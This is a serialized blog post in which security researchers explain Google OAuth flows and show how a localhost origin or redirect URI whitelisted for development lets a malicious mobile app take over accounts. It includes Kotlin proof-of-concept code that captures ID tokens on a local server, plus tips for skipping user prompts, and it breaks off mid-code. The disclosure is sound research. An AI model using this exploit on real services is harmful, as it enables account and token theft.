[{"data":1,"prerenderedAt":164972},["ShallowReactive",2],{"blog-/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations":3,"featured-blog-posts":2572},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":14,"isFeatured":18,"onBlogPage":18,"tags":19,"body":22,"_type":2566,"_id":2567,"_source":2568,"_file":2569,"_stem":2570,"_extension":2571},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","blog",false,"","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[12,13],"bruno","caue",{"src":15,"width":16,"height":17},"/posts/oauth-misconfigurations/title.png",1536,1024,true,[20,21],"oAuth","exchanges",{"type":23,"children":24,"toc":2553},"root",[25,34,40,47,69,76,81,96,101,110,126,137,146,160,168,180,244,250,262,311,317,322,335,342,354,374,393,414,420,433,438,444,464,1227,1232,1245,2134,2139,2144,2150,2155,2161,2166,2179,2220,2226,2239,2244,2278,2283,2288,2313,2318,2330,2503,2508,2514,2526,2531,2537,2542,2547],{"type":26,"tag":27,"props":28,"children":30},"element","h2",{"id":29},"exploiting-oauth",[31],{"type":32,"value":33},"text","Exploiting OAuth",{"type":26,"tag":35,"props":36,"children":37},"p",{},[38],{"type":32,"value":39},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":26,"tag":41,"props":42,"children":44},"h3",{"id":43},"google-authentication-flows",[45],{"type":32,"value":46},"Google Authentication Flows",{"type":26,"tag":35,"props":48,"children":49},{},[50,52,59,61,67],{"type":32,"value":51},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":26,"tag":53,"props":54,"children":56},"code",{"className":55},[],[57],{"type":32,"value":58},"postMessage",{"type":32,"value":60}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":26,"tag":53,"props":62,"children":64},{"className":63},[],[65],{"type":32,"value":66},"redirect_uri",{"type":32,"value":68}," to send the token back to the RP.",{"type":26,"tag":70,"props":71,"children":73},"h4",{"id":72},"gsi-new-flow",[74],{"type":32,"value":75},"GSI (New Flow)",{"type":26,"tag":35,"props":77,"children":78},{},[79],{"type":32,"value":80},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":26,"tag":82,"props":83,"children":84},"ul",{},[85,91],{"type":26,"tag":86,"props":87,"children":88},"li",{},[89],{"type":32,"value":90},"Using FedCM API",{"type":26,"tag":86,"props":92,"children":93},{},[94],{"type":32,"value":95},"Without using FedCM API",{"type":26,"tag":35,"props":97,"children":98},{},[99],{"type":32,"value":100},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":26,"tag":35,"props":102,"children":103},{},[104],{"type":26,"tag":105,"props":106,"children":107},"strong",{},[108],{"type":32,"value":109},"FedCM Method",{"type":26,"tag":35,"props":111,"children":112},{},[113,115,124],{"type":32,"value":114},"The FedCM method basically follows this ",{"type":26,"tag":116,"props":117,"children":121},"a",{"href":118,"rel":119},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[120],"nofollow",[122],{"type":32,"value":123},"user experience",{"type":32,"value":125},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":26,"tag":35,"props":127,"children":128},{},[129,131],{"type":32,"value":130},"The normal flow, clicking the \"sign in\" button:\n",{"type":26,"tag":132,"props":133,"children":136},"img",{"alt":134,"src":135},"image","/posts/oauth-misconfigurations/image1.png",[],{"type":26,"tag":35,"props":138,"children":139},{},[140,142],{"type":32,"value":141},"One-Tap popup shown when you open the page:\n",{"type":26,"tag":132,"props":143,"children":145},{"alt":134,"src":144},"/posts/oauth-misconfigurations/image2.png",[],{"type":26,"tag":35,"props":147,"children":148},{},[149,151,158],{"type":32,"value":150},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":26,"tag":116,"props":152,"children":155},{"href":153,"rel":154},"https://github.com/w3c-fedid/FedCM/issues/429",[120],[156],{"type":32,"value":157},"FedCM auto-reauthentication",{"type":32,"value":159},", which has certain preconditions that must be met.",{"type":26,"tag":35,"props":161,"children":162},{},[163],{"type":26,"tag":105,"props":164,"children":165},{},[166],{"type":32,"value":167},"Non-FedCM Method",{"type":26,"tag":35,"props":169,"children":170},{},[171,173,178],{"type":32,"value":172},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":26,"tag":53,"props":174,"children":176},{"className":175},[],[177],{"type":32,"value":58},{"type":32,"value":179},":",{"type":26,"tag":181,"props":182,"children":183},"ol",{},[184,189,216,221,232],{"type":26,"tag":86,"props":185,"children":186},{},[187],{"type":32,"value":188},"The user clicks the sign in button",{"type":26,"tag":86,"props":190,"children":191},{},[192,194,200,202,208,210],{"type":32,"value":193},"RP opens a popup/iframe to ",{"type":26,"tag":116,"props":195,"children":198},{"href":196,"rel":197},"https://accounts.google.com/o/oauth2/v2/auth",[120],[199],{"type":32,"value":196},{"type":32,"value":201}," with some important parameters like ",{"type":26,"tag":53,"props":203,"children":205},{"className":204},[],[206],{"type":32,"value":207},"client_id",{"type":32,"value":209}," and ",{"type":26,"tag":53,"props":211,"children":213},{"className":212},[],[214],{"type":32,"value":215},"origin",{"type":26,"tag":86,"props":217,"children":218},{},[219],{"type":32,"value":220},"The user clicks the \"Continue\" button to authorize authentication",{"type":26,"tag":86,"props":222,"children":223},{},[224,226],{"type":32,"value":225},"They get redirected to ",{"type":26,"tag":116,"props":227,"children":230},{"href":228,"rel":229},"https://accounts.google.com/gsi/transform",[120],[231],{"type":32,"value":228},{"type":26,"tag":86,"props":233,"children":234},{},[235,237,242],{"type":32,"value":236},"/gsi/transform sends the token back to the RP via ",{"type":26,"tag":53,"props":238,"children":240},{"className":239},[],[241],{"type":32,"value":58},{"type":32,"value":243}," (after some SYN/ACK messages)",{"type":26,"tag":70,"props":245,"children":247},{"id":246},"oauth-20-old-flow",[248],{"type":32,"value":249},"OAuth 2.0 Old Flow",{"type":26,"tag":35,"props":251,"children":252},{},[253,255,260],{"type":32,"value":254},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":26,"tag":53,"props":256,"children":258},{"className":257},[],[259],{"type":32,"value":66},{"type":32,"value":261}," provided in the URL and validated by a whitelist configuration:",{"type":26,"tag":181,"props":263,"children":264},{},[265,269,290,294],{"type":26,"tag":86,"props":266,"children":267},{},[268],{"type":32,"value":188},{"type":26,"tag":86,"props":270,"children":271},{},[272,273,278,279,284,285],{"type":32,"value":193},{"type":26,"tag":116,"props":274,"children":276},{"href":196,"rel":275},[120],[277],{"type":32,"value":196},{"type":32,"value":201},{"type":26,"tag":53,"props":280,"children":282},{"className":281},[],[283],{"type":32,"value":207},{"type":32,"value":209},{"type":26,"tag":53,"props":286,"children":288},{"className":287},[],[289],{"type":32,"value":66},{"type":26,"tag":86,"props":291,"children":292},{},[293],{"type":32,"value":220},{"type":26,"tag":86,"props":295,"children":296},{},[297,298,303,305],{"type":32,"value":225},{"type":26,"tag":53,"props":299,"children":301},{"className":300},[],[302],{"type":32,"value":66},{"type":32,"value":304}," with the token in the query parameters or ",{"type":26,"tag":53,"props":306,"children":308},{"className":307},[],[309],{"type":32,"value":310},"location.hash",{"type":26,"tag":70,"props":312,"children":314},{"id":313},"different-configurations",[315],{"type":32,"value":316},"Different Configurations",{"type":26,"tag":35,"props":318,"children":319},{},[320],{"type":32,"value":321},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":26,"tag":82,"props":323,"children":324},{},[325,330],{"type":26,"tag":86,"props":326,"children":327},{},[328],{"type":32,"value":329},"Authorized origins",{"type":26,"tag":86,"props":331,"children":332},{},[333],{"type":32,"value":334},"Authorized redirect URIs",{"type":26,"tag":35,"props":336,"children":337},{},[338],{"type":26,"tag":132,"props":339,"children":341},{"alt":134,"src":340},"/posts/oauth-misconfigurations/image3.png",[],{"type":26,"tag":35,"props":343,"children":344},{},[345,347,352],{"type":32,"value":346},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":26,"tag":53,"props":348,"children":350},{"className":349},[],[351],{"type":32,"value":207},{"type":32,"value":353},".",{"type":26,"tag":35,"props":355,"children":356},{},[357,359,365,367,372],{"type":32,"value":358},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":26,"tag":53,"props":360,"children":362},{"className":361},[],[363],{"type":32,"value":364},"/oauth2/v2/auth",{"type":32,"value":366}," by checking the ",{"type":26,"tag":53,"props":368,"children":370},{"className":369},[],[371],{"type":32,"value":215},{"type":32,"value":373}," query parameter.",{"type":26,"tag":35,"props":375,"children":376},{},[377,379,384,386,391],{"type":32,"value":378},"In the old flow, the ",{"type":26,"tag":53,"props":380,"children":382},{"className":381},[],[383],{"type":32,"value":66},{"type":32,"value":385}," parameter passed in the ",{"type":26,"tag":53,"props":387,"children":389},{"className":388},[],[390],{"type":32,"value":364},{"type":32,"value":392}," endpoint is validated against the authorized redirect URIs.",{"type":26,"tag":35,"props":394,"children":395},{},[396,398,403,405,412],{"type":32,"value":397},"Note that the new GSI flow can also have a different flow using ",{"type":26,"tag":53,"props":399,"children":401},{"className":400},[],[402],{"type":32,"value":66},{"type":32,"value":404}," validation. To execute this flow, you need to specify ",{"type":26,"tag":116,"props":406,"children":409},{"href":407,"rel":408},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[120],[410],{"type":32,"value":411},"login_uri",{"type":32,"value":413}," while using the SDK.",{"type":26,"tag":41,"props":415,"children":417},{"id":416},"localhost-exploit",[418],{"type":32,"value":419},"Localhost Exploit",{"type":26,"tag":35,"props":421,"children":422},{},[423,425,431],{"type":32,"value":424},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":26,"tag":53,"props":426,"children":428},{"className":427},[],[429],{"type":32,"value":430},"localhost",{"type":32,"value":432}," origin because it is considered trusted for local testing.",{"type":26,"tag":35,"props":434,"children":435},{},[436],{"type":32,"value":437},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":26,"tag":70,"props":439,"children":441},{"id":440},"exploit",[442],{"type":32,"value":443},"Exploit",{"type":26,"tag":35,"props":445,"children":446},{},[447,449,454,456,462],{"type":32,"value":448},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":26,"tag":53,"props":450,"children":452},{"className":451},[],[453],{"type":32,"value":310},{"type":32,"value":455}," or ",{"type":26,"tag":53,"props":457,"children":459},{"className":458},[],[460],{"type":32,"value":461},"location.search",{"type":32,"value":463},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":26,"tag":465,"props":466,"children":470},"pre",{"className":467,"code":468,"language":469,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[471],{"type":26,"tag":53,"props":472,"children":473},{"__ignoreMap":7},[474,514,537,546,556,580,594,608,648,677,733,742,751,759,768,792,829,843,852,860,883,911,924,946,964,977,1004,1044,1066,1075,1088,1117,1130,1144,1153,1161,1170,1179,1187,1219],{"type":26,"tag":475,"props":476,"children":479},"span",{"class":477,"line":478},"line",1,[480,486,491,497,503,509],{"type":26,"tag":475,"props":481,"children":483},{"style":482},"--shiki-default:#569CD6",[484],{"type":32,"value":485}," override",{"type":26,"tag":475,"props":487,"children":488},{"style":482},[489],{"type":32,"value":490}," fun",{"type":26,"tag":475,"props":492,"children":494},{"style":493},"--shiki-default:#DCDCAA",[495],{"type":32,"value":496}," onCreate",{"type":26,"tag":475,"props":498,"children":500},{"style":499},"--shiki-default:#E6E6E6",[501],{"type":32,"value":502},"(savedInstanceState: ",{"type":26,"tag":475,"props":504,"children":506},{"style":505},"--shiki-default:#4EC9B0",[507],{"type":32,"value":508},"Bundle",{"type":26,"tag":475,"props":510,"children":511},{"style":499},[512],{"type":32,"value":513},"?){\n",{"type":26,"tag":475,"props":515,"children":517},{"class":477,"line":516},2,[518,523,527,532],{"type":26,"tag":475,"props":519,"children":520},{"style":482},[521],{"type":32,"value":522}," super",{"type":26,"tag":475,"props":524,"children":525},{"style":499},[526],{"type":32,"value":353},{"type":26,"tag":475,"props":528,"children":529},{"style":493},[530],{"type":32,"value":531},"onCreate",{"type":26,"tag":475,"props":533,"children":534},{"style":499},[535],{"type":32,"value":536},"(savedInstanceState)\n",{"type":26,"tag":475,"props":538,"children":540},{"class":477,"line":539},3,[541],{"type":26,"tag":475,"props":542,"children":543},{"emptyLinePlaceholder":18},[544],{"type":32,"value":545},"\n",{"type":26,"tag":475,"props":547,"children":549},{"class":477,"line":548},4,[550],{"type":26,"tag":475,"props":551,"children":553},{"style":552},"--shiki-default:#6A9955",[554],{"type":32,"value":555}," // Start the Ktor web server\n",{"type":26,"tag":475,"props":557,"children":559},{"class":477,"line":558},5,[560,565,570,575],{"type":26,"tag":475,"props":561,"children":562},{"style":493},[563],{"type":32,"value":564}," CoroutineScope",{"type":26,"tag":475,"props":566,"children":567},{"style":499},[568],{"type":32,"value":569},"(Dispatchers.IO).",{"type":26,"tag":475,"props":571,"children":572},{"style":493},[573],{"type":32,"value":574},"launch",{"type":26,"tag":475,"props":576,"children":577},{"style":499},[578],{"type":32,"value":579}," {\n",{"type":26,"tag":475,"props":581,"children":583},{"class":477,"line":582},6,[584,590],{"type":26,"tag":475,"props":585,"children":587},{"style":586},"--shiki-default:#C586C0",[588],{"type":32,"value":589}," try",{"type":26,"tag":475,"props":591,"children":592},{"style":499},[593],{"type":32,"value":579},{"type":26,"tag":475,"props":595,"children":597},{"class":477,"line":596},7,[598,603],{"type":26,"tag":475,"props":599,"children":600},{"style":493},[601],{"type":32,"value":602}," startWebServer",{"type":26,"tag":475,"props":604,"children":605},{"style":499},[606],{"type":32,"value":607},"()\n",{"type":26,"tag":475,"props":609,"children":611},{"class":477,"line":610},8,[612,617,622,627,633,638,643],{"type":26,"tag":475,"props":613,"children":614},{"style":499},[615],{"type":32,"value":616}," Log.",{"type":26,"tag":475,"props":618,"children":619},{"style":493},[620],{"type":32,"value":621},"d",{"type":26,"tag":475,"props":623,"children":624},{"style":499},[625],{"type":32,"value":626},"(",{"type":26,"tag":475,"props":628,"children":630},{"style":629},"--shiki-default:#CE9178",[631],{"type":32,"value":632},"\"WebServer\"",{"type":26,"tag":475,"props":634,"children":635},{"style":499},[636],{"type":32,"value":637},", ",{"type":26,"tag":475,"props":639,"children":640},{"style":629},[641],{"type":32,"value":642},"\"Server started on http://localhost:3000\"",{"type":26,"tag":475,"props":644,"children":645},{"style":499},[646],{"type":32,"value":647},")\n",{"type":26,"tag":475,"props":649,"children":651},{"class":477,"line":650},9,[652,657,662,667,672],{"type":26,"tag":475,"props":653,"children":654},{"style":499},[655],{"type":32,"value":656}," } ",{"type":26,"tag":475,"props":658,"children":659},{"style":482},[660],{"type":32,"value":661},"catch",{"type":26,"tag":475,"props":663,"children":664},{"style":499},[665],{"type":32,"value":666}," (e: ",{"type":26,"tag":475,"props":668,"children":669},{"style":505},[670],{"type":32,"value":671},"Exception",{"type":26,"tag":475,"props":673,"children":674},{"style":499},[675],{"type":32,"value":676},") {\n",{"type":26,"tag":475,"props":678,"children":680},{"class":477,"line":679},10,[681,685,690,694,698,702,707,712,718,723,728],{"type":26,"tag":475,"props":682,"children":683},{"style":499},[684],{"type":32,"value":616},{"type":26,"tag":475,"props":686,"children":687},{"style":493},[688],{"type":32,"value":689},"e",{"type":26,"tag":475,"props":691,"children":692},{"style":499},[693],{"type":32,"value":626},{"type":26,"tag":475,"props":695,"children":696},{"style":629},[697],{"type":32,"value":632},{"type":26,"tag":475,"props":699,"children":700},{"style":499},[701],{"type":32,"value":637},{"type":26,"tag":475,"props":703,"children":704},{"style":629},[705],{"type":32,"value":706},"\"Error starting server: ",{"type":26,"tag":475,"props":708,"children":709},{"style":482},[710],{"type":32,"value":711},"${",{"type":26,"tag":475,"props":713,"children":715},{"style":714},"--shiki-default:#D4D4D4",[716],{"type":32,"value":717},"e.message",{"type":26,"tag":475,"props":719,"children":720},{"style":482},[721],{"type":32,"value":722},"}",{"type":26,"tag":475,"props":724,"children":725},{"style":629},[726],{"type":32,"value":727},"\"",{"type":26,"tag":475,"props":729,"children":730},{"style":499},[731],{"type":32,"value":732},", e)\n",{"type":26,"tag":475,"props":734,"children":736},{"class":477,"line":735},11,[737],{"type":26,"tag":475,"props":738,"children":739},{"style":499},[740],{"type":32,"value":741}," }\n",{"type":26,"tag":475,"props":743,"children":745},{"class":477,"line":744},12,[746],{"type":26,"tag":475,"props":747,"children":748},{"style":499},[749],{"type":32,"value":750}," }\n",{"type":26,"tag":475,"props":752,"children":754},{"class":477,"line":753},13,[755],{"type":26,"tag":475,"props":756,"children":757},{"emptyLinePlaceholder":18},[758],{"type":32,"value":545},{"type":26,"tag":475,"props":760,"children":762},{"class":477,"line":761},14,[763],{"type":26,"tag":475,"props":764,"children":765},{"style":552},[766],{"type":32,"value":767}," // Open the Google OAuth page\n",{"type":26,"tag":475,"props":769,"children":771},{"class":477,"line":770},15,[772,777,782,787],{"type":26,"tag":475,"props":773,"children":774},{"style":482},[775],{"type":32,"value":776}," val",{"type":26,"tag":475,"props":778,"children":779},{"style":499},[780],{"type":32,"value":781}," googleOAuthUrl ",{"type":26,"tag":475,"props":783,"children":784},{"style":714},[785],{"type":32,"value":786},"=",{"type":26,"tag":475,"props":788,"children":789},{"style":629},[790],{"type":32,"value":791}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":26,"tag":475,"props":793,"children":795},{"class":477,"line":794},16,[796,800,805,809,814,819,824],{"type":26,"tag":475,"props":797,"children":798},{"style":482},[799],{"type":32,"value":776},{"type":26,"tag":475,"props":801,"children":802},{"style":499},[803],{"type":32,"value":804}," browserIntent ",{"type":26,"tag":475,"props":806,"children":807},{"style":714},[808],{"type":32,"value":786},{"type":26,"tag":475,"props":810,"children":811},{"style":493},[812],{"type":32,"value":813}," Intent",{"type":26,"tag":475,"props":815,"children":816},{"style":499},[817],{"type":32,"value":818},"(Intent.ACTION_VIEW, Uri.",{"type":26,"tag":475,"props":820,"children":821},{"style":493},[822],{"type":32,"value":823},"parse",{"type":26,"tag":475,"props":825,"children":826},{"style":499},[827],{"type":32,"value":828},"(googleOAuthUrl))\n",{"type":26,"tag":475,"props":830,"children":832},{"class":477,"line":831},17,[833,838],{"type":26,"tag":475,"props":834,"children":835},{"style":493},[836],{"type":32,"value":837}," startActivity",{"type":26,"tag":475,"props":839,"children":840},{"style":499},[841],{"type":32,"value":842},"(browserIntent)\n",{"type":26,"tag":475,"props":844,"children":846},{"class":477,"line":845},18,[847],{"type":26,"tag":475,"props":848,"children":849},{"style":499},[850],{"type":32,"value":851}," }\n",{"type":26,"tag":475,"props":853,"children":855},{"class":477,"line":854},19,[856],{"type":26,"tag":475,"props":857,"children":858},{"emptyLinePlaceholder":18},[859],{"type":32,"value":545},{"type":26,"tag":475,"props":861,"children":863},{"class":477,"line":862},20,[864,869,873,878],{"type":26,"tag":475,"props":865,"children":866},{"style":482},[867],{"type":32,"value":868}," private",{"type":26,"tag":475,"props":870,"children":871},{"style":482},[872],{"type":32,"value":490},{"type":26,"tag":475,"props":874,"children":875},{"style":493},[876],{"type":32,"value":877}," startWebServer",{"type":26,"tag":475,"props":879,"children":880},{"style":499},[881],{"type":32,"value":882},"() {\n",{"type":26,"tag":475,"props":884,"children":886},{"class":477,"line":885},21,[887,892,897,901,907],{"type":26,"tag":475,"props":888,"children":889},{"style":493},[890],{"type":32,"value":891}," embeddedServer",{"type":26,"tag":475,"props":893,"children":894},{"style":499},[895],{"type":32,"value":896},"(CIO, port ",{"type":26,"tag":475,"props":898,"children":899},{"style":714},[900],{"type":32,"value":786},{"type":26,"tag":475,"props":902,"children":904},{"style":903},"--shiki-default:#B5CEA8",[905],{"type":32,"value":906}," 3000",{"type":26,"tag":475,"props":908,"children":909},{"style":499},[910],{"type":32,"value":676},{"type":26,"tag":475,"props":912,"children":914},{"class":477,"line":913},22,[915,920],{"type":26,"tag":475,"props":916,"children":917},{"style":493},[918],{"type":32,"value":919}," routing",{"type":26,"tag":475,"props":921,"children":922},{"style":499},[923],{"type":32,"value":579},{"type":26,"tag":475,"props":925,"children":927},{"class":477,"line":926},23,[928,933,937,942],{"type":26,"tag":475,"props":929,"children":930},{"style":482},[931],{"type":32,"value":932}," get",{"type":26,"tag":475,"props":934,"children":935},{"style":499},[936],{"type":32,"value":626},{"type":26,"tag":475,"props":938,"children":939},{"style":629},[940],{"type":32,"value":941},"\"{...}\"",{"type":26,"tag":475,"props":943,"children":944},{"style":499},[945],{"type":32,"value":676},{"type":26,"tag":475,"props":947,"children":949},{"class":477,"line":948},24,[950,955,960],{"type":26,"tag":475,"props":951,"children":952},{"style":499},[953],{"type":32,"value":954}," call.",{"type":26,"tag":475,"props":956,"children":957},{"style":493},[958],{"type":32,"value":959},"respondHtml",{"type":26,"tag":475,"props":961,"children":962},{"style":499},[963],{"type":32,"value":579},{"type":26,"tag":475,"props":965,"children":967},{"class":477,"line":966},25,[968,973],{"type":26,"tag":475,"props":969,"children":970},{"style":493},[971],{"type":32,"value":972}," head",{"type":26,"tag":475,"props":974,"children":975},{"style":499},[976],{"type":32,"value":579},{"type":26,"tag":475,"props":978,"children":980},{"class":477,"line":979},26,[981,986,991,995,1000],{"type":26,"tag":475,"props":982,"children":983},{"style":493},[984],{"type":32,"value":985}," meta",{"type":26,"tag":475,"props":987,"children":988},{"style":499},[989],{"type":32,"value":990},"(charset ",{"type":26,"tag":475,"props":992,"children":993},{"style":714},[994],{"type":32,"value":786},{"type":26,"tag":475,"props":996,"children":997},{"style":629},[998],{"type":32,"value":999}," \"UTF-8\"",{"type":26,"tag":475,"props":1001,"children":1002},{"style":499},[1003],{"type":32,"value":647},{"type":26,"tag":475,"props":1005,"children":1007},{"class":477,"line":1006},27,[1008,1012,1017,1021,1026,1031,1035,1040],{"type":26,"tag":475,"props":1009,"children":1010},{"style":493},[1011],{"type":32,"value":985},{"type":26,"tag":475,"props":1013,"children":1014},{"style":499},[1015],{"type":32,"value":1016},"(name ",{"type":26,"tag":475,"props":1018,"children":1019},{"style":714},[1020],{"type":32,"value":786},{"type":26,"tag":475,"props":1022,"children":1023},{"style":629},[1024],{"type":32,"value":1025}," \"viewport\"",{"type":26,"tag":475,"props":1027,"children":1028},{"style":499},[1029],{"type":32,"value":1030},", content ",{"type":26,"tag":475,"props":1032,"children":1033},{"style":714},[1034],{"type":32,"value":786},{"type":26,"tag":475,"props":1036,"children":1037},{"style":629},[1038],{"type":32,"value":1039}," \"width=device-width, initial-scale=1.0\"",{"type":26,"tag":475,"props":1041,"children":1042},{"style":499},[1043],{"type":32,"value":647},{"type":26,"tag":475,"props":1045,"children":1047},{"class":477,"line":1046},28,[1048,1053,1057,1062],{"type":26,"tag":475,"props":1049,"children":1050},{"style":493},[1051],{"type":32,"value":1052}," title",{"type":26,"tag":475,"props":1054,"children":1055},{"style":499},[1056],{"type":32,"value":626},{"type":26,"tag":475,"props":1058,"children":1059},{"style":629},[1060],{"type":32,"value":1061},"\"OAuth Redirect\"",{"type":26,"tag":475,"props":1063,"children":1064},{"style":499},[1065],{"type":32,"value":647},{"type":26,"tag":475,"props":1067,"children":1069},{"class":477,"line":1068},29,[1070],{"type":26,"tag":475,"props":1071,"children":1072},{"style":499},[1073],{"type":32,"value":1074}," }\n",{"type":26,"tag":475,"props":1076,"children":1078},{"class":477,"line":1077},30,[1079,1084],{"type":26,"tag":475,"props":1080,"children":1081},{"style":493},[1082],{"type":32,"value":1083}," body",{"type":26,"tag":475,"props":1085,"children":1086},{"style":499},[1087],{"type":32,"value":579},{"type":26,"tag":475,"props":1089,"children":1091},{"class":477,"line":1090},31,[1092,1097,1102,1107,1112],{"type":26,"tag":475,"props":1093,"children":1094},{"style":493},[1095],{"type":32,"value":1096}," h1",{"type":26,"tag":475,"props":1098,"children":1099},{"style":499},[1100],{"type":32,"value":1101}," { ",{"type":26,"tag":475,"props":1103,"children":1104},{"style":714},[1105],{"type":32,"value":1106},"+",{"type":26,"tag":475,"props":1108,"children":1109},{"style":629},[1110],{"type":32,"value":1111},"\"Google OAuth Redirect\"",{"type":26,"tag":475,"props":1113,"children":1114},{"style":499},[1115],{"type":32,"value":1116}," }\n",{"type":26,"tag":475,"props":1118,"children":1120},{"class":477,"line":1119},32,[1121,1126],{"type":26,"tag":475,"props":1122,"children":1123},{"style":493},[1124],{"type":32,"value":1125}," script",{"type":26,"tag":475,"props":1127,"children":1128},{"style":499},[1129],{"type":32,"value":579},{"type":26,"tag":475,"props":1131,"children":1133},{"class":477,"line":1132},33,[1134,1139],{"type":26,"tag":475,"props":1135,"children":1136},{"style":714},[1137],{"type":32,"value":1138}," +",{"type":26,"tag":475,"props":1140,"children":1141},{"style":629},[1142],{"type":32,"value":1143},"\"document.body.innerText = location.hash;\"\n",{"type":26,"tag":475,"props":1145,"children":1147},{"class":477,"line":1146},34,[1148],{"type":26,"tag":475,"props":1149,"children":1150},{"style":499},[1151],{"type":32,"value":1152}," }\n",{"type":26,"tag":475,"props":1154,"children":1156},{"class":477,"line":1155},35,[1157],{"type":26,"tag":475,"props":1158,"children":1159},{"style":499},[1160],{"type":32,"value":1074},{"type":26,"tag":475,"props":1162,"children":1164},{"class":477,"line":1163},36,[1165],{"type":26,"tag":475,"props":1166,"children":1167},{"style":499},[1168],{"type":32,"value":1169}," }\n",{"type":26,"tag":475,"props":1171,"children":1173},{"class":477,"line":1172},37,[1174],{"type":26,"tag":475,"props":1175,"children":1176},{"style":499},[1177],{"type":32,"value":1178}," }\n",{"type":26,"tag":475,"props":1180,"children":1182},{"class":477,"line":1181},38,[1183],{"type":26,"tag":475,"props":1184,"children":1185},{"style":499},[1186],{"type":32,"value":741},{"type":26,"tag":475,"props":1188,"children":1190},{"class":477,"line":1189},39,[1191,1196,1201,1206,1210,1215],{"type":26,"tag":475,"props":1192,"children":1193},{"style":499},[1194],{"type":32,"value":1195}," }.",{"type":26,"tag":475,"props":1197,"children":1198},{"style":493},[1199],{"type":32,"value":1200},"start",{"type":26,"tag":475,"props":1202,"children":1203},{"style":499},[1204],{"type":32,"value":1205},"(wait ",{"type":26,"tag":475,"props":1207,"children":1208},{"style":714},[1209],{"type":32,"value":786},{"type":26,"tag":475,"props":1211,"children":1212},{"style":482},[1213],{"type":32,"value":1214}," true",{"type":26,"tag":475,"props":1216,"children":1217},{"style":499},[1218],{"type":32,"value":647},{"type":26,"tag":475,"props":1220,"children":1222},{"class":477,"line":1221},40,[1223],{"type":26,"tag":475,"props":1224,"children":1225},{"style":499},[1226],{"type":32,"value":851},{"type":26,"tag":35,"props":1228,"children":1229},{},[1230],{"type":32,"value":1231},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":26,"tag":35,"props":1233,"children":1234},{},[1235,1237,1243],{"type":32,"value":1236},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":26,"tag":53,"props":1238,"children":1240},{"className":1239},[],[1241],{"type":32,"value":1242},"auto_select",{"type":32,"value":1244}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":26,"tag":465,"props":1246,"children":1248},{"className":467,"code":1247,"language":469,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: 